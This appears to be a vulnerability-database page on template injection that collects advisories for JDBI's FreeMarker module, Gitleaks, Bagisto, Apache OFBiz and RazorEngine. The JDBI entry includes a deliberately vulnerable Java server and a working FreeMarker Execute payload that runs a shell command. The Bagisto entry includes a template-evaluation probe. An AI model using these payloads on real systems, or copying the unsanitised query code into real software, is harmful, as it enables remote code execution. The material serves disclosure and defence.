\u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n  \u003cgroupId\u003epoc\u003c/groupId\u003e\n  \u003cartifactId\u003ejdbi-freemarker-poc\u003c/artifactId\u003e\n  \u003cversion\u003e1.0\u003c/version\u003e\n  \u003cproperties\u003e\n    \u003cmaven.compiler.release\u003e17\u003c/maven.compiler.release\u003e\n    \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n  \u003c/properties\u003e\n  \u003cdependencies\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eorg.jdbi\u003c/groupId\u003e\n      \u003cartifactId\u003ejdbi3-core\u003c/artifactId\u003e\n      \u003cversion\u003e3.52.1\u003c/version\u003e\n    \u003c/dependency\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eorg.jdbi\u003c/groupId\u003e\n      \u003cartifactId\u003ejdbi3-freemarker\u003c/artifactId\u003e\n      \u003cversion\u003e3.52.1\u003c/version\u003e\n    \u003c/dependency\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003ecom.h2database\u003c/groupId\u003e\n      \u003cartifactId\u003eh2\u003c/artifactId\u003e\n      \u003cversion\u003e2.2.224\u003c/version\u003e\n    \u003c/dependency\u003e\n  \u003c/dependencies\u003e\n  \u003cbuild\u003e\n    \u003cplugins\u003e\n      \u003cplugin\u003e\n        \u003cgroupId\u003eorg.apache.maven.plugins\u003c/groupId\u003e\n        \u003cartifactId\u003emaven-compiler-plugin\u003c/artifactId\u003e\n        \u003cversion\u003e3.13.0\u003c/version\u003e\n      \u003c/plugin\u003e\n    \u003c/plugins\u003e\n  \u003c/build\u003e\n\u003c/project\u003e\nEOF\n\nmkdir -p src/main/java\ncat \u003e src/main/java/Server.java \u003c\u003c \u0027EOF\u0027\nimport com.sun.net.httpserver.HttpServer;\nimport org.jdbi.v3.core.Jdbi;\nimport org.jdbi.v3.core.statement.SqlStatements;\nimport org.jdbi.v3.freemarker.FreemarkerEngine;\n\nimport java.net.InetSocketAddress;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Server {\n    public static void main(String[] args) throws Exception {\n        Jdbi jdbi = Jdbi.create(\"jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1\");\n        jdbi.getConfig(SqlStatements.class)\n            .setTemplateEngine(FreemarkerEngine.instance());\n        jdbi.useHandle(h -\u003e {\n            h.execute(\"create table users (id int, email varchar)\");\n            h.execute(\"insert into users values (1,\u0027alice@example.com\u0027),(2,\u0027bob@example.com\u0027)\");\n        });\n\n        HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);\n        http.createContext(\"/search\", ex -\u003e {\n            String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault(\"q\", \"\");\n            String sql = \"select email from users where email like \u0027%\" + q + \"%\u0027\";\n            String body;\n            try {\n                body = jdbi.withHandle(h -\u003e\n                    h.createQuery(sql).mapTo(String.class).list().toString());\n            } catch (Exception e) {\n                body = \"error: \" + e.getMessage();\n            }\n            byte[] bytes = body.getBytes(StandardCharsets.UTF_8);\n            ex.sendResponseHeaders(200, bytes.length);\n            ex.getResponseBody().write(bytes);\n            ex.close();\n        });\n        http.start();\n        System.out.println(\"listening on http://127.0.0.1:8050/search?q=...\");\n    }\n\n    private static Map\u003cString, String\u003e parseQuery(String raw) {\n        Map\u003cString, String\u003e out = new HashMap\u003c\u003e();\n        if (raw == null) return out;\n        for (String pair : raw.split(\"\u0026\")) {\n            int eq = pair.indexOf(\u0027=\u0027);\n            if (eq \u003c 0) continue;\n            out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),\n                    URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));\n        }\n        return out;\n    }\n}\nEOF\n\nmvn -q package\njava -cp \"target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)\" Server \u0026\n```\n\nBenign Request\n```bash\n$ curl -s \u0027http://127.0.0.1:8050/search?q=alice\u0027\n[alice@example.com]\n```\n\nExploit\n```bash\n$ curl -sG \u0027http://127.0.0.1:8050/search\u0027 \\\n    --data-urlencode \u0027q=\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e${ex(\"touch /tmp/jdbi-pwned\")}\u0027\n[alice@example.com, bob@example.com]\n\n$ ls -la /tmp/jdbi-pwned\n-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned\n```",
  "id": "GHSA-mggx-p7jf-jgw4",
  "modified": "2026-05-05T22:15:17Z",
  "published": "2026-05-05T22:15:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdbi/jdbi/security/advisories/GHSA-mggx-p7jf-jgw4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdbi/jdbi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine"
}

GHSA-MMH4-9CVR-W4CJ

Vulnerability from github – Published: 2026-07-21 00:30 – Updated: 2026-07-21 00:30
VLAI
Details

Gitleaks prior to 8.30.1 contains a template injection vulnerability that allows attackers who can supply or influence report templates to read arbitrary environment variables and exfiltrate sensitive data by leveraging non-hermetic Sprig template functions. Attackers can craft malicious report templates using the env, expandenv, and getHostByName functions to extract credentials, tokens, and API keys from the host process and exfiltrate them through DNS queries, including secrets discovered during the scan itself.

Severity
6.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
8.1 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-63728"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T00:17:48Z",
    "severity": "HIGH"
  },
  "details": "Gitleaks prior to 8.30.1 contains a template injection vulnerability that allows attackers who can supply or influence report templates to read arbitrary environment variables and exfiltrate sensitive data by leveraging non-hermetic Sprig template functions. Attackers can craft malicious report templates using the env, expandenv, and getHostByName functions to extract credentials, tokens, and API keys from the host process and exfiltrate them through DNS queries, including secrets discovered during the scan itself.",
  "id": "GHSA-mmh4-9cvr-w4cj",
  "modified": "2026-07-21T00:30:31Z",
  "published": "2026-07-21T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63728"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitleaks/gitleaks/commit/83d9cd684c87d95d656c1458ef04895a7f1cbd8e"
    },
    {
      "type": "WEB",
      "url": "https://fatihhcelik.github.io/posts/gitleaks-abusing-sprig-for-exfiltration/#the-fix"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitleaks/gitleaks"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitleaks-secret-exfiltration-via-non-hermetic-sprig-template-functions-in-report-template-feature"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MQHG-V22X-PQJ8

Vulnerability from github – Published: 2026-01-02 22:51 – Updated: 2026-01-08 21:36
VLAI
Summary
Bagisto is vulnerable to SSTI via name parameters provided by non-admin low-privilege users
Details

Summary

SSTI is possible via first name and last name parameters provided by lowest-privileged users.

Details

  1. Go to http://127.0.0.1:8000/ and login or signup
  2. Go to http://127.0.0.1:8000/customer/account/profile
  3. Now edit the first name and last name to {{7*7}}
  4. Notice it appears as 49

POC

  • Video attached with the report: https://github.com/user-attachments/assets/f93932b5-2a57-4f34-897e-4151a5168912

Impact

This can lead to RCE, command injection.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.4 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T22:51:40Z",
    "nvd_published_at": "2026-01-02T21:16:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSSTI is possible via first name and last name parameters provided by lowest-privileged users.\n### Details\n1. Go to `http://127.0.0.1:8000/` and login or signup \n2. Go to `http://127.0.0.1:8000/customer/account/profile`\n3. Now edit the first name and last name to {{7*7}}\n4. Notice it appears as 49\n\n### POC\n- Video attached with the report: https://github.com/user-attachments/assets/f93932b5-2a57-4f34-897e-4151a5168912\n\n### Impact\nThis can lead to RCE, command injection.",
  "id": "GHSA-mqhg-v22x-pqj8",
  "modified": "2026-01-08T21:36:05Z",
  "published": "2026-01-02T22:51:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-mqhg-v22x-pqj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/commit/4144931da0014c696f9126132ce44d7cfbdb2761"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/releases/tag/v2.3.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bagisto is vulnerable to SSTI via name parameters provided by non-admin low-privilege users"
}

GHSA-P9R8-XJX7-V86Q

Vulnerability from github – Published: 2025-03-10 15:30 – Updated: 2025-03-11 21:30
VLAI
Details

Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.

This issue affects Apache OFBiz: from 18.12.17 before 18.12.18.  

It's a regression between 18.12.17 and 18.12.18. In case you use something like that, which is not recommended! For security, only official releases should be used.

In other words, if you use 18.12.17 you are still safe. The version 18.12.17 is not a affected. But something between 18.12.17 and 18.12.18 is.

In that case, users are recommended to upgrade to version 18.12.18, which fixes the issue.

Severity
3.5 (Low)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-26865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-10T14:15:25Z",
    "severity": "LOW"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: from 18.12.17 before 18.12.18.\u00a0\u00a0\n\nIt\u0027s a regression between 18.12.17 and 18.12.18.\nIn case you use something like that, which is not recommended!\nFor security, only official releases should be used.\n\nIn other words, if you use 18.12.17 you are still safe.\nThe version 18.12.17 is not a affected.\nBut something between 18.12.17 and 18.12.18 is.\n\nIn that case, users are recommended to upgrade to version 18.12.18, which fixes the issue.",
  "id": "GHSA-p9r8-xjx7-v86q",
  "modified": "2025-03-11T21:30:33Z",
  "published": "2025-03-10T15:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26865"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/OFBIZ-12594"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/prb48ztk01bflyyjbl6p56wlcc1n5sz7"
    },
    {
      "type": "WEB",
      "url": "https://ofbiz.apache.org/download.html"
    },
    {
      "type": "WEB",
      "url": "https://ofbiz.apache.org/security.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/03/07/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PH3V-2HQ5-5QFQ

Vulnerability from github – Published: 2022-03-07 00:00 – Updated: 2025-03-26 15:32
VLAI
Summary
Code injection in RazorEngine
Details

In the IsolatedRazorEngine component of Antaris RazorEngine through 4.5.1-alpha001, an attacker can execute arbitrary .NET code in a sandboxed environment (if users can externally control template contents). NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "RazorEngine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.5.1-alpha001"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-46703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-11T20:30:20Z",
    "nvd_published_at": "2022-03-06T06:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In the IsolatedRazorEngine component of Antaris RazorEngine through 4.5.1-alpha001, an attacker can execute arbitrary .NET code in a sandboxed environment (if users can externally control template contents). NOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
  "id": "GHSA-ph3v-2hq5-5qfq",
  "modified": "2025-03-26T15:32:24Z",
  "published": "2022-03-07T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46703"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Antaris/RazorEngine/issues/585"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Antaris/RazorEngine"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code injection in RazorEngine"
}
Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.

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